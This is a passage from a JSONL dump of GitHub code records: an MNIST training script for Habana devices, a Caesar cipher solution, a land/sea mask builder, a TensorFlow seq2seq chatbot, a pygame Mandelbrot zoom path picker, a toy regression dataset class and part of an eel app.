action='store_true', default=False,\n help='Enable lazy mode on hpu device, default eager mode')\n parser.add_argument('--hmp', dest='is_hmp', action='store_true', help='enable hmp mode')\n parser.add_argument('--hmp-bf16', default='ops_bf16_mnist.txt', help='path to bf16 ops list in hmp O1 mode')\n parser.add_argument('--hmp-fp32', default='ops_fp32_mnist.txt', help='path to fp32 ops list in hmp O1 mode')\n parser.add_argument('--hmp-opt-level', default='O1', help='choose optimization level for hmp')\n parser.add_argument('--hmp-verbose', action='store_true', help='enable verbose mode for hmp')\n parser.add_argument('--dl-worker-type', default='MP', type=lambda x: x.upper(),\n choices = [\"MT\", \"MP\"], help='select multithreading or multiprocessing')\n parser.add_argument('--world_size', default=1, type=int, metavar='N',\n help='number of total workers (default: 1)')\n parser.add_argument('--process-per-node', default=8, type=int, metavar='N',\n help='Number of process per node')\n parser.add_argument('--start-epoch', type=int, default=0, metavar='N', help='starting epoch number, default 0')\n parser.add_argument('--checkpoint', default='', help='resume from checkpoint')\n parser.add_argument('--distributed', action='store_true', help='whether to enable distributed mode and run on multiple devices')\n parser.add_argument('--dist-url', default='env://', help='url used to set up distributed training')\n args = parser.parse_args()\n use_cuda = not args.no_cuda and torch.cuda.is_available()\n\n torch.manual_seed(args.seed)\n\n device = torch.device(\"cuda\" if use_cuda else \"cpu\")\n torch.multiprocessing.set_start_method('spawn')\n\n if args.use_lazy_mode:\n os.environ[\"PT_HPU_LAZY_MODE\"]=\"1\"\n import habana_frameworks.torch.core as htcore\n\n if args.hpu:\n from habana_frameworks.torch.utils.library_loader import load_habana_module\n load_habana_module()\n device = torch.device(\"hpu\")\n # patch torch cuda functions that are being unconditionally invoked\n # in the multiprocessing data loader\n torch.cuda.current_device = lambda: None\n torch.cuda.set_device = lambda x: None\n\n if args.is_hmp:\n from habana_frameworks.torch.hpex import hmp\n hmp.convert(opt_level=args.hmp_opt_level, bf16_file_path=args.hmp_bf16,\n fp32_file_path=args.hmp_fp32, isVerbose=args.hmp_verbose)\n\n utils.init_distributed_mode(args)\n\n train_kwargs = {'batch_size': args.batch_size}\n test_kwargs = {'batch_size': args.test_batch_size}\n if use_cuda:\n cuda_kwargs = {'num_workers': 1,\n 'pin_memory': True,\n 'shuffle': True}\n train_kwargs.update(cuda_kwargs)\n test_kwargs.update(cuda_kwargs)\n\n transform=transforms.Compose([\n transforms.ToTensor(),\n transforms.Normalize((0.1307,), (0.3081,))\n ])\n dataset1 = datasets.MNIST('../data', train=True, download=True,\n transform=transform)\n dataset2 = datasets.MNIST('../data', train=False,\n transform=transform)\n if args.distributed:\n train_sampler = torch.utils.data.distributed.DistributedSampler(dataset1)\n test_sampler = torch.utils.data.distributed.DistributedSampler(dataset2)\n\n train_loader =torch.utils.data.DataLoader(\n dataset1, batch_size=args.batch_size, sampler=train_sampler,\n num_workers=12, pin_memory=True, drop_last=True)\n test_loader = torch.utils.data.DataLoader(\n dataset2, batch_size=args.batch_size, sampler=test_sampler,\n num_workers=12, pin_memory=True, drop_last=True)\n else:\n train_loader = torch.utils.data.DataLoader(dataset1,**train_kwargs)\n test_loader = torch.utils.data.DataLoader(dataset2, **test_kwargs)\n\n model = Net().to(device)\n optimizer = optim.Adadelta(model.parameters(), lr=args.lr)\n\n if args.hpu:\n permute_params(model, True, args.use_lazy_mode)\n permute_momentum(optimizer, True, args.use_lazy_mode)\n\n model_without_ddp = model\n\n if args.distributed and args.hpu:\n model = torch.nn.parallel.DistributedDataParallel(model, bucket_cap_mb=100, broadcast_buffers=False,\n gradient_as_bucket_view=True)\n model_without_ddp = model.module\n\n if args.checkpoint:\n if args.hpu:\n permute_params(model_without_ddp, False, args.use_lazy_mode)\n permute_momentum(optimizer, False, args.use_lazy_mode)\n\n checkpoint = torch.load(args.checkpoint, map_location='cpu')\n model_without_ddp.load_state_dict(checkpoint['model'])\n optimizer.load_state_dict(checkpoint['optimizer'])\n args.start_epoch = checkpoint['epoch']\n\n if args.hpu:\n permute_momentum(optimizer, True, args.use_lazy_mode)\n permute_params(model_without_ddp, True, args.use_lazy_mode)\n\n scheduler = StepLR(optimizer, step_size=1, gamma=args.gamma)\n for epoch in range(args.start_epoch + 1, args.epochs + 1):\n if args.distributed:\n train_sampler.set_epoch(epoch)\n train(args, model, device, train_loader, optimizer, epoch)\n test(args, model, device, test_loader)\n scheduler.step()\n\n if args.save_model:\n if args.hpu:\n permute_params(model_without_ddp, False, args.use_lazy_mode)\n permute_momentum(optimizer, False, args.use_lazy_mode)\n copy_model = Net()\n copy_model.load_state_dict(model_without_ddp.state_dict())\n for state in optimizer.state.values():\n for k, v in state.items():\n if isinstance(v, torch.Tensor):\n state[k] = v.to('cpu')\n torch.save({\"model\" : copy_model.state_dict(), 'optimizer' : optimizer.state_dict(), 'epoch' : args.epochs}, \"mnist_cnn.pt\")\n for state in optimizer.state.values():\n for k, v in state.items():\n if isinstance(v, torch.Tensor):\n state[k] = v.to('hpu')\n permute_params(model_without_ddp, True, args.use_lazy_mode)\n permute_momentum(optimizer, True, args.use_lazy_mode)\n else:\n torch.save(model.state_dict(), \"mnist_cnn.pt\")\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"gsaunderson-acn/Model-References","sub_path":"PyTorch/examples/computer_vision/hello_world/mnist.py","file_name":"mnist.py","file_ext":"py","file_size_in_byte":12638,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"69"} +{"seq_id":"10198181894","text":"number = int(input())\r\nstring = input()\r\nchar = int(input())\r\nresult = \"\"\r\nfor x in string:\r\n if 65<=ord(x)<=90:\r\n temp1 = (ord(x)+(char%26))\r\n if temp1 > 90:\r\n result += chr(temp1-26)\r\n else: result += chr(temp1)\r\n elif 97<=ord(x)<=122:\r\n temp = (ord(x)+(char%26))\r\n if temp>122:\r\n result+= chr(temp-26)\r\n else:\r\n result += chr(temp)\r\n else:\r\n result += x\r\nprint(result)","repo_name":"mrif449/Online-Judge-Solves","sub_path":"Hackerrank/Algorithims/Strings/Caesar Cipher.py","file_name":"Caesar Cipher.py","file_ext":"py","file_size_in_byte":462,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"27417154285","text":"#!/usr/bin/env python\n# coding: utf-8\n\n\"\"\"\nMake a land/sea mask for NSW\n\"\"\"\n\n__author__ = \"Martin De Kauwe\"\n__version__ = \"1.0 (06.04.2018)\"\n__email__ = \"mdekauwe@gmail.com\"\n\nimport os\nimport sys\nimport numpy as np\nimport xarray as xr\nimport matplotlib.pyplot as plt\n\nfname = \"gswp3_landmask_nomissing.nc\"\nds = xr.open_dataset(fname)\ndata = ds[\"landsea\"]\n\n# Australia\n#lat_st = np.argwhere(data.lat.values == -43.75)[0][0]\n#lat_en = np.argwhere(data.lat.values == -10.25)[0][0]\n#lon_st = np.argwhere(data.lon.values == 112.75)[0][0]\n#lon_en = np.argwhere(data.lon.values == 153.75)[0][0]\n\n# NSW\nlat_st = np.argwhere(data.lat.values == -37.75)[0][0]\nlat_en = np.argwhere(data.lat.values == -27.75)[0][0]\nlon_st = np.argwhere(data.lon.values == 140.25)[0][0]\nlon_en = np.argwhere(data.lon.values == 154.25)[0][0]\nnsw = data[lat_st:lat_en,lon_st:lon_en].astype(np.int16)\nnrows, ncols = nsw.shape\nprint(nrows, ncols, nrows*ncols)\ndata = nsw.values.reshape(nrows, ncols)\ndata.tofile(\"nsw_gswp3_land_sea_mask.bin\")\n","repo_name":"mdekauwe/pydesica","sub_path":"gswp3_land_sea/make_nsw_land_sea_mask.py","file_name":"make_nsw_land_sea_mask.py","file_ext":"py","file_size_in_byte":1009,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"69"} +{"seq_id":"30711365950","text":"# -*- coding:utf-8 -*-\nimport numpy as np\nimport time\nimport sys\nimport os\nimport re\nimport tensorflow as tf\nfrom tensorflow.contrib.rnn import LSTMCell\nfrom dynamic_seq2seq_model import dynamicSeq2seq\nimport jieba\n\n\nclass Seq2seq():\n '''\n params:\n encoder_vec_file encoder向量文件\n decoder_vec_file decoder向量文件\n encoder_vocabulary encoder词典\n decoder_vocabulary decoder词典\n model_path 模型目录\n batch_size 批处理数\n sample_num 总样本数\n max_batches 最大迭代次数\n show_epoch 保存模型步长\n '''\n\n def __init__(self):\n tf.reset_default_graph()\n\n self.encoder_vec_file = \"./tfdata/enc.vec\"\n self.decoder_vec_file = \"./tfdata/dec.vec\"\n self.encoder_vocabulary = \"./tfdata/enc.vocab\"\n self.decoder_vocabulary = \"./tfdata/dec.vocab\"\n self.batch_size = 1\n self.max_batches = 100000\n self.show_epoch = 100\n self.model_path = './model/'\n\n self.model = dynamicSeq2seq(encoder_cell=LSTMCell(40),\n decoder_cell=LSTMCell(40),\n encoder_vocab_size=600,\n decoder_vocab_size=1600,\n embedding_size=20,\n attention=False,\n bidirectional=False,\n debug=False,\n time_major=True)\n self.location = [\"杭州\", \"重庆\", \"上海\", \"北京\"]\n self.dec_vocab = {}\n self.enc_vocab = {}\n self.dec_vecToSeg = {}\n tag_location = ''\n with open(self.encoder_vocabulary, \"r\") as enc_vocab_file:\n for index, word in enumerate(enc_vocab_file.readlines()):\n self.enc_vocab[word.strip()] = index\n with open(self.decoder_vocabulary, \"r\") as dec_vocab_file:\n for index, word in enumerate(dec_vocab_file.readlines()):\n self.dec_vecToSeg[index] = word.strip()\n self.dec_vocab[word.strip()] = index\n\n def data_set(self, file):\n _ids = []\n with open(file, \"r\") as fw:\n line = fw.readline()\n while line:\n sequence = [int(i) for i in line.split()]\n _ids.append(sequence)\n line = fw.readline()\n return _ids\n\n def data_iter(self, train_src, train_targets, batches, sample_num):\n ''' 获取batch\n 最大长度为每个batch中句子的最大长度\n 并将数据作转换:\n [batch_size, time_steps] -> [time_steps, batch_size]\n\n '''\n batch_inputs = []\n batch_targets = []\n batch_inputs_length = []\n batch_targets_length = []\n\n # 随机样本\n shuffle = np.random.randint(0, sample_num, batches)\n en_max_seq_length = max([len(train_src[i]) for i in shuffle])\n de_max_seq_length = max([len(train_targets[i]) for i in shuffle])\n\n for index in shuffle:\n _en = train_src[index]\n inputs_batch_major = np.zeros(\n shape=[en_max_seq_length], dtype=np.int32) # == PAD\n for seq in range(len(_en)):\n inputs_batch_major[seq] = _en[seq]\n batch_inputs.append(inputs_batch_major)\n batch_inputs_length.append(len(_en))\n\n _de = train_targets[index]\n inputs_batch_major = np.zeros(\n shape=[de_max_seq_length], dtype=np.int32) # == PAD\n for seq in range(len(_de)):\n inputs_batch_major[seq] = _de[seq]\n batch_targets.append(inputs_batch_major)\n batch_targets_length.append(len(_de))\n\n batch_inputs = np.array(batch_inputs).swapaxes(0, 1)\n batch_targets = np.array(batch_targets).swapaxes(0, 1)\n\n return {self.model.encoder_inputs: batch_inputs,\n self.model.encoder_inputs_length: batch_inputs_length,\n self.model.decoder_targets: batch_targets,\n self.model.decoder_targets_length: batch_targets_length, }\n\n def train(self):\n # 获取输入输出\n train_src = self.data_set(self.encoder_vec_file)\n train_targets = self.data_set(self.decoder_vec_file)\n\n f = open(self.encoder_vec_file)\n self.sample_num = len(f.readlines())\n f.close()\n print(\"样本数量%s\" % self.sample_num)\n\n config = tf.ConfigProto()\n config.gpu_options.allow_growth = True\n\n with tf.Session(config=config) as sess:\n\n # 初始化变量\n ckpt = tf.train.get_checkpoint_state(self.model_path)\n if ckpt is not None:\n print(ckpt.model_checkpoint_path)\n self.model.saver.restore(sess, ckpt.model_checkpoint_path)\n else:\n sess.run(tf.global_variables_initializer())\n\n loss_track = []\n total_time = 0\n for batch in range(self.max_batches + 1):\n # 获取fd [time_steps, batch_size]\n start = time.time()\n fd = self.data_iter(train_src,\n train_targets,\n self.batch_size,\n self.sample_num)\n _, loss, _, _ = sess.run([self.model.train_op,\n self.model.loss,\n self.model.gradient_norms,\n self.model.updates], fd)\n\n stop = time.time()\n total_time += (stop - start)\n\n loss_track.append(loss)\n if batch == 0 or batch % self.show_epoch == 0:\n\n print(\"-\" * 50)\n print(\"n_epoch {}\".format(sess.run(self.model.global_step)))\n print(' minibatch loss: {}'.format(\n sess.run(self.model.loss, fd)))\n print(' per-time: %s' % (total_time / self.show_epoch))\n checkpoint_path = self.model_path + \"nlp_chat.ckpt\"\n # 保存模型\n self.model.saver.save(\n sess, checkpoint_path, global_step=self.model.global_step)\n\n # 清理模型\n self.clearModel()\n total_time = 0\n for i, (e_in, dt_pred) in enumerate(zip(\n fd[self.model.decoder_targets].T,\n sess.run(self.model.decoder_prediction_train, fd).T\n )):\n print(' sample {}:'.format(i + 1))\n print(' dec targets > {}'.format(e_in))\n print(' dec predict > {}'.format(dt_pred))\n if i >= 0:\n break\n\n def add_to_file(self, strs, file):\n with open(file, \"a\") as f:\n f.write(strs + \"\\n\")\n\n def add_voc(self, word, kind):\n if kind == 'enc':\n self.add_to_file(word, self.encoder_vocabulary)\n index = max(self.enc_vocab.values()) + 1\n self.enc_vocab[word] = index\n else:\n self.add_to_file(word, self.decoder_vocabulary)\n index = max(self.dec_vocab.values()) + 1\n self.dec_vocab[word] = index\n self.dec_vecToSeg[index] = word\n return index\n\n def onlinelearning(self, input_strs, target_strs):\n input_seg = jieba.lcut(input_strs)\n target_seg = jieba.lcut(target_strs)\n\n input_vec = []\n for word in input_seg:\n if word not in self.enc_vocab.keys():\n vec = self.add_voc(word, \"enc\")\n else:\n vec = self.enc_vocab.get(word)\n input_vec.append(vec)\n\n target_vec = []\n for word in target_seg:\n if word not in self.dec_vocab.keys():\n vec = self.add_voc(word, \"dec\")\n else:\n vec = self.dec_vocab.get(word)\n target_vec.append(vec)\n\n with tf.Session() as sess:\n # 初始化变量\n ckpt = tf.train.get_checkpoint_state(self.model_path)\n if ckpt is not None:\n print(ckpt.model_checkpoint_path)\n self.model.saver.restore(sess, ckpt.model_checkpoint_path)\n else:\n sess.run(tf.global_variables_initializer())\n\n fd = self.data_iter([input_vec], [target_vec], 1, 1)\n for i in range(100):\n _, loss, _, _ = sess.run([self.model.train_op,\n self.model.loss,\n self.model.gradient_norms,\n self.model.updates], fd)\n checkpoint_path = self.model_path + \"nlp_chat.ckpt\"\n # 保存模型\n self.model.saver.save(\n sess, checkpoint_path, global_step=self.model.global_step)\n\n for i, (e_in, dt_pred) in enumerate(zip(\n fd[self.model.decoder_targets].T,\n sess.run(self.model.decoder_prediction_train, fd).T\n )):\n print(' sample {}:'.format(i + 1))\n print(' dec targets > {}'.format(e_in))\n print(' dec predict > {}'.format(dt_pred))\n if i >= 0:\n break\n\n def segement(self, strs):\n return jieba.lcut(strs)\n\n def make_inference_fd(self, inputs_seq):\n sequence_lengths = [len(seq) for seq in inputs_seq]\n max_seq_length = max(sequence_lengths)\n\n inputs_time_major = []\n for sents in inputs_seq:\n inputs_batch_major = np.zeros(\n shape=[max_seq_length], dtype=np.int32) # == PAD\n for index in range(len(sents)):\n inputs_batch_major[index] = sents[index]\n inputs_time_major.append(inputs_batch_major)\n\n inputs_time_major = np.array(inputs_time_major).swapaxes(0, 1)\n return {self.model.encoder_inputs: inputs_time_major,\n self.model.encoder_inputs_length: sequence_lengths}\n\n def predict(self):\n with tf.Session() as sess:\n ckpt = tf.train.get_checkpoint_state(self.model_path)\n if ckpt is not None:\n print(ckpt.model_checkpoint_path)\n self.model.saver.restore(sess, ckpt.model_checkpoint_path)\n else:\n print(\"没找到模型\")\n\n action = False\n while True:\n if not action:\n inputs_strs = input(\"me > \")\n if not inputs_strs:\n continue\n\n inputs_strs = re.sub(\n \"[\\s+\\.\\!\\/_,$%^*(+\\\"\\']+|[+——!,。“”’‘??、~@#¥%……&*()]+\", \"\", inputs_strs)\n\n action = False\n segements = self.segement(inputs_strs)\n # inputs_vec = [enc_vocab.get(i) for i in segements]\n inputs_vec = []\n for i in segements:\n inputs_vec.append(self.enc_vocab.get(i, self.model.UNK))\n fd = self.make_inference_fd([inputs_vec])\n inf_out = sess.run(self.model.decoder_prediction_inference, fd)\n inf_out = [i[0] for i in inf_out]\n\n outstrs = ''\n for vec in inf_out:\n if vec == self.model.EOS:\n break\n outstrs += self.dec_vecToSeg.get(vec, self.model.UNK)\n print(outstrs)\n\n def clearModel(self, remain=3):\n try:\n filelists = os.listdir(self.model_path)\n re_batch = re.compile(r\"nlp_chat.ckpt-(\\d+).\")\n batch = re.findall(re_batch, \",\".join(filelists))\n batch = [int(i) for i in set(batch)]\n if remain == 0:\n for file in filelists:\n if \"nlp_chat\" in file:\n os.remove(self.model_path + file)\n os.remove(self.model_path + \"checkpoint\")\n return\n if len(batch) > remain:\n for bat in sorted(batch)[:-(remain)]:\n for file in filelists:\n if str(bat) in file and \"nlp_chat\" in file:\n os.remove(self.model_path + file)\n except Exception as e:\n return\n\n def test(self):\n with tf.Session() as sess:\n\n # 初始化变量\n sess.run(tf.global_variables_initializer())\n\n # 获取输入输出\n train_src = [[2, 3, 5], [7, 8, 2, 4, 7], [9, 2, 1, 2]]\n train_targets = [[2, 3], [6, 4, 7], [7, 1, 2]]\n\n loss_track = []\n\n for batch in range(self.max_batches + 1):\n # 获取fd [time_steps, batch_size]\n fd = self.data_iter(train_src,\n train_targets,\n 2,\n 3)\n\n _, loss, _, _ = sess.run([self.model.train_op,\n self.model.loss,\n self.model.gradient_norms,\n self.model.updates], fd)\n loss_track.append(loss)\n\n if batch == 0 or batch % self.show_epoch == 0:\n print(\"-\" * 50)\n print(\"epoch {}\".format(sess.run(self.model.global_step)))\n print(' minibatch loss: {}'.format(\n sess.run(self.model.loss, fd)))\n\n for i, (e_in, dt_pred) in enumerate(zip(\n fd[self.model.decoder_targets].T,\n sess.run(self.model.decoder_prediction_train, fd).T\n )):\n print(' sample {}:'.format(i + 1))\n print(' dec targets > {}'.format(e_in))\n print(' dec predict > {}'.format(dt_pred))\n if i >= 3:\n break\n\n\nif __name__ == '__main__':\n seq_obj = Seq2seq()\n if sys.argv[1]:\n if sys.argv[1] == 'train':\n seq_obj.train()\n elif sys.argv[1] == 'infer':\n seq_obj.predict()\n","repo_name":"nlpinaction/learning-nlp","sub_path":"chapter-10/seq2seq/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":14523,"program_lang":"python","lang":"en","doc_type":"code","stars":1023,"dataset":"github-code","pt":"69"} +{"seq_id":"833301921","text":"# import the pygame module, so you can use it\nimport pygame\nimport os\nimport platform\nimport subprocess\nfrom subprocess import Popen, PIPE, check_output\n\nfrom pathSmoother import *\n\n# define a main function\ndef main():\n #Get user specifications for movie: Width, Height, Name\n print(\"Please input the image dimentions in pixels width then height as an int\")\n print(\"Width:\")\n width = int(input())\n print(\"Height:\")\n height = int(input())\n print(\"Please input the name of your movie as a string no spaces:\")\n movieName = input()\n\n #set starting conditions\n centerReal = -0.5\n centerImag = 0.0\n widthReal = 4.0\n frameRate = 30\n zoomSpeed = 1.0\n heightImag = (float(height)/width) * widthReal\n\n #write starting conditions to files\n f = open(\"frameCordinates.txt\", \"w\")\n f.write(str(width)+\", \"+str(height)+\", \"+str(frameRate)+\", \"+str(zoomSpeed)+\", \"+str(movieName)+\",\\n\")\n f.close()\n\n f = open(\"targets.txt\", \"w\")\n f.write(str(width)+\", \"+str(height)+\", \"+str(frameRate)+\", \"+str(zoomSpeed)+\", \"+str(movieName)+\",\")\n f.write(\"\\n{:.30f}, {:.30f}, {:.30f},\".format(centerReal, centerImag, widthReal))\n f.close()\n\n #Generate the starting image\n p = Popen(['./Generate_Image'], shell=True, stdout=PIPE, stdin=PIPE)\n print(p.stdout.read())\n\n #Start the pygame window\n pygame.init()\n pygame.display.set_caption(\"Mandelbrot Zoom Path Picker\")\n screen = pygame.display.set_mode((width,height))\n\n currentFrame = pygame.image.load(\"testFrame.bmp\")\n currentFrameRect = currentFrame.get_rect()\n\n #Start the path picking main loop\n running = True\n while running:\n for event in pygame.event.get():\n # only do something if the event is of type QUIT\n if event.type == pygame.QUIT:\n running = False\n\n if event.type == pygame.MOUSEBUTTONDOWN:\n x, y = pygame.mouse.get_pos()\n print(x, y)\n\n #window cordinates +/- are not the same as complext plane cordinates +/-\n #we find the distance from the center of the screen the click was in pixels\n #then we divide by the screen dimentions to find percentage change which we multiply\n #by the frame dimentions to find the actual change\n centerReal += ((x - (width/2.0)) / width) * widthReal\n centerImag += (((height/2.0) - y) / height) * heightImag\n\n #check what key is pressed when the mouse is clicked\n keys=pygame.key.get_pressed()\n if keys[pygame.K_i]:\n #The i key is pressed and the user wants to zoom in\n widthReal *= .5\n heightImag *= .5\n elif keys[pygame.K_o]:\n #The o key is pressed and the user wants to zoom out\n widthReal *= 2\n heightImag *= 2\n\n #write the chosen target to the file\n f = open(\"targets.txt\", \"a\")\n f.write(\"\\n{:.30f}, {:.30f}, {:.30f},\".format(centerReal, centerImag, widthReal))\n f.close()\n\n #generate the new frame for the screen and display it\n p = Popen(['./Generate_Image'], shell=True, stdout=PIPE, stdin=PIPE)\n print(p.stdout.read())\n currentFrame = pygame.image.load(\"testFrame.bmp\")\n\n if event.type == pygame.KEYDOWN:\n if event.key == pygame.K_z:\n #the user pressed z and wants to undo the last action\n #delete the last line of the file\n f = open(\"targets.txt\", \"r\")\n lines = f.readlines()\n f.close()\n\n print(lines)\n\n #Dont let the user delete the starting frame\n if len(lines)>2:\n #Write the new lines to the file\n lines = lines[:-1]\n #strip the end line off the end of the last line\n lastLine = lines[-1]\n lastLine = lastLine[:-1]\n lines[-1] = lastLine\n f = open(\"targets.txt\", \"w\")\n for line in lines:\n f.write(line)\n f.close()\n\n #reset the frame variables to the old values\n newValues = lines[-1]\n newValues = newValues[:-2] #cut out the endline and ,\n valuesArray = newValues.split(\", \")\n #convert strings to numbers and calculate the new heightImag\n centerReal = float(valuesArray[0])\n centerImag = float(valuesArray[1])\n widthReal = float(valuesArray[2])\n heightImag = (float(height)/width) * widthReal\n\n #refresh the image on the screen\n p = Popen(['./Generate_Image'], shell=True, stdout=PIPE, stdin=PIPE)\n print(p.stdout.read())\n currentFrame = pygame.image.load(\"testFrame.bmp\")\n\n if event.key == pygame.K_d:\n #The user has typed d so they are done. Shut down the route picker\n running = False\n\n #refresh the screen and get ready for the next interaction\n screen.fill((0,0,0))\n screen.blit(currentFrame, currentFrameRect)\n pygame.display.flip()\n\n #Shut down the pygame window\n pygame.display.quit()\n pygame.quit()\n\n #The user has finished picking their route now turn the target path into frame cordinates\n smoothPath()\n\n #The smoothed path frame cordinates have been generated now generate the frames and turn them\n #into a movie with the c++ .exe\n os.system('./Generate_Movie')\n #p = Popen(['./Generate_Movie'], shell=True, stdout=None, stdin=PIPE)\n\n print(\"Your movie {} is done!\".format(movieName))\n #open the finished movie!\n os.system('open movieClips/{}.mpg'.format(movieName))\n\n\n\nif __name__==\"__main__\":\n main()\n","repo_name":"adunstan3/Mandelbrot-Zoom","sub_path":"pathPicker.py","file_name":"pathPicker.py","file_ext":"py","file_size_in_byte":6179,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"6085354813","text":"import numpy as np\nimport matplotlib.pyplot as plt\nfrom matplotlib.pyplot import cm\nfrom warnings import warn\nimport math\nimport torch\n\nfrom data.dataset import Dataset\n\nclass myData(Dataset):\n \n def __init__(self, \n n_train: int = 400,\n f=lambda x: x.mul(4).add(0.8).cos(),\n fracs=[ 0.25, 0.25, 0.25], \n stds=[ 0.0, 0.0, 0.5], \n spreads=[ 4.5, 4.5, 4.5], \n offsets=[ -6.5, 2.5, -2], \n train_inter=[-6.5, 6.5], \n test_inter=[-6.5, 6.5]):\n \n super().__init__()\n \n shuffle = True\n mini_batch_size = 1\n n_mini_batches = math.ceil(n_train/mini_batch_size) # batches per epoch\n\n x_train, y_train, x_test, y_test = self.make_data(\n n_train,\n shuffle_train=shuffle,\n f=f, # x.pow(3)/350, \n fracs = fracs,\n stds = stds,\n spreads = spreads,\n offsets = offsets, \n right_lim = train_inter[-1]\n )\n \n in_data = np.vstack([x_train, x_test])\n out_data = np.vstack([y_train, y_test])\n \n # Specify internal data structure.\n self._data['classification'] = False\n self._data['sequence'] = False\n self._data['in_data'] = in_data\n self._data['in_shape'] = [1]\n self._data['out_data'] = out_data\n self._data['out_shape'] = [1]\n self._data['train_inds'] = np.arange(len(y_train))\n self._data['test_inds'] = np.arange(len(y_train), len(y_train) + len(y_test))\n \n self._map = lambda x:x.cos()\n print(train_inter, test_inter)\n self._train_inter = train_inter\n self._test_inter = test_inter\n \n self.x_train = x_train\n self.y_train = y_train\n self.x_test = x_test\n self.y_test = y_test\n\n\n def make_data(self, n_train: int = 400,\n f=lambda x: x.mul(4).add(0.8).cos(),\n fracs=[1.0], # , 0.7], \n stds = [0.0], # , 0.01],\n spreads = [6],\n offsets = [-3],\n shuffle_train=True,\n right_lim = 6.5,\n ):\n \"\"\"\n Create some clusters of data points.\n Arguments:\n fracs - fraction of n_train per cluster\n stds - cluster y stds\n spreads - cluster x stds\n offsets - cluster offsets\n \"\"\"\n n_clusters = len(fracs)\n assert len(fracs) == len(stds) == len(spreads) == len(offsets)\n left_lim = -right_lim\n \n offset_x = 0\n # assert n_train % n_clusters == 0\n \n # make some clusters of data points\n cluster_shapes = [(int(n_train * fracs[i]), 1) for i in range(n_clusters)] # evenly distributes datapoints among clusters\n\n clusters = []\n for i in range(n_clusters):\n xi = torch.rand(*cluster_shapes[i]) * spreads[i] + offset_x + offsets[i]\n clusters += [xi]\n \n x_train = torch.cat(clusters)\n \n # due to fracs, x_train may be shorter than n_train now\n n_train = len(x_train)\n \n # give clusters different variances to investigate if heteroskedastic gaussian approximates them better\n noise = torch.cat([stds[i] * torch.randn(*cluster_shapes[i]) for i in range(n_clusters)])\n \n # apply our function and add (\"aleatoric\") noise\n y_train = f(x_train) + noise\n \n if shuffle_train:\n rand_order = torch.randperm(n_train)\n x_train = x_train[rand_order]\n y_train = y_train[rand_order]\n \n # test/visualise on whole x axis\n x_test = torch.linspace(left_lim+offset_x, right_lim+offset_x, 1000).unsqueeze(-1)\n y_test = f(x_test) # no noise\n y_train = y_train\n \n return x_train, y_train, x_test, y_test\n \n def plot_dataset(self, show=True):\n \"\"\"Plot the whole dataset.\n\n Args:\n show: Whether the plot should be shown.\n \"\"\"\n\n train_x = self.get_train_inputs().squeeze()\n train_y = self.get_train_outputs().squeeze()\n\n test_x = self.get_test_inputs().squeeze()\n test_y = self.get_test_outputs().squeeze()\n\n if self.num_val_samples > 0:\n val_x = self.get_val_inputs().squeeze()\n val_y = self.get_val_outputs().squeeze()\n\n sample_x, sample_y = self._get_function_vals()\n\n # The default matplotlib setting is usually too high for most plots.\n plt.locator_params(axis='y', nbins=2)\n plt.locator_params(axis='x', nbins=6)\n\n plt.plot(sample_x, sample_y, color='k', label='f(x)',\n linestyle='dashed', linewidth=.5)\n plt.scatter(train_x, train_y, color='r', label='Train')\n plt.scatter(test_x, test_y, color='b', label='Test', alpha=0.8)\n if self.num_val_samples > 0:\n plt.scatter(val_x, val_y, color='g', label='Val', alpha=0.5)\n plt.legend()\n plt.title('1D-Regression Dataset')\n plt.xlabel('$x$')\n plt.ylabel('$y$')\n\n if show:\n plt.show()\n \n @property\n def train_x_range(self):\n \"\"\"Getter for read-only attribute train_x_range.\"\"\"\n return self._train_inter\n\n @property\n def test_x_range(self):\n \"\"\"Getter for read-only attribute test_x_range.\"\"\"\n return self._test_inter\n\n @property\n def val_x_range(self):\n \"\"\"Getter for read-only attribute val_x_range.\"\"\"\n return self._val_inter\n \n def _get_function_vals(self, num_samples=100, x_range=None):\n \"\"\"Get real function values for x values in a range that\n covers the test and training data. These values can be used to plot the\n ground truth function.\n\n Args:\n num_samples: Number of samples to be produced.\n x_range: If a specific range should be used to gather function\n values.\n\n Returns:\n x, y: Two numpy arrays containing the corresponding x and y values.\n \"\"\"\n\n return self.x_test, self.y_test\n \n\n def plot_dataset(self, show=True):\n \"\"\"Plot the whole dataset.\n\n Args:\n show: Whether the plot should be shown.\n \"\"\"\n\n train_x = self.get_train_inputs().squeeze()\n train_y = self.get_train_outputs().squeeze()\n\n test_x = self.get_test_inputs().squeeze()\n test_y = self.get_test_outputs().squeeze()\n\n if self.num_val_samples > 0:\n val_x = self.get_val_inputs().squeeze()\n val_y = self.get_val_outputs().squeeze()\n\n sample_x, sample_y = self._get_function_vals()\n\n # The default matplotlib setting is usually too high for most plots.\n plt.locator_params(axis='y', nbins=2)\n plt.locator_params(axis='x', nbins=6)\n\n plt.plot(sample_x, sample_y, color='k', label='f(x)',\n linestyle='dashed', linewidth=.5)\n plt.scatter(train_x, train_y, color='r', label='Train')\n plt.plot(test_x, test_y, color='b', label='Test', alpha=0.8)\n if self.num_val_samples > 0:\n plt.scatter(val_x, val_y, color='g', label='Val', alpha=0.5)\n plt.legend()\n plt.title('1D-Regression Dataset')\n plt.xlabel('$x$')\n plt.ylabel('$y$')\n\n if show:\n plt.show()\n\n\n def get_identifier(self):\n \"\"\"Returns the name of the dataset.\"\"\"\n return '1DRegression'\n\n def _plot_sample(self, fig, inner_grid, num_inner_plots, ind, inputs,\n outputs=None, predictions=None):\n\n raise NotImplementedError('TODO implement')\n\nif __name__ == '__main__':\n pass\n\n\n","repo_name":"stegsoph/repulsive_ensembles","sub_path":"data/toy_regression/noisy_sinus_data.py","file_name":"noisy_sinus_data.py","file_ext":"py","file_size_in_byte":7705,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"69"} +{"seq_id":"32583791615","text":"import eel\n\nimport desktop\nfrom search import search\n\napp_name = \"html\"\nend_point = \"index.html\"\nsize = (700, 600)\n\n\n@eel.expose\ndef search_character(csv_name: str, search_word: str):\n search(csv_name, search_word)\n\n\ndesktop.start(app_name, end_point, 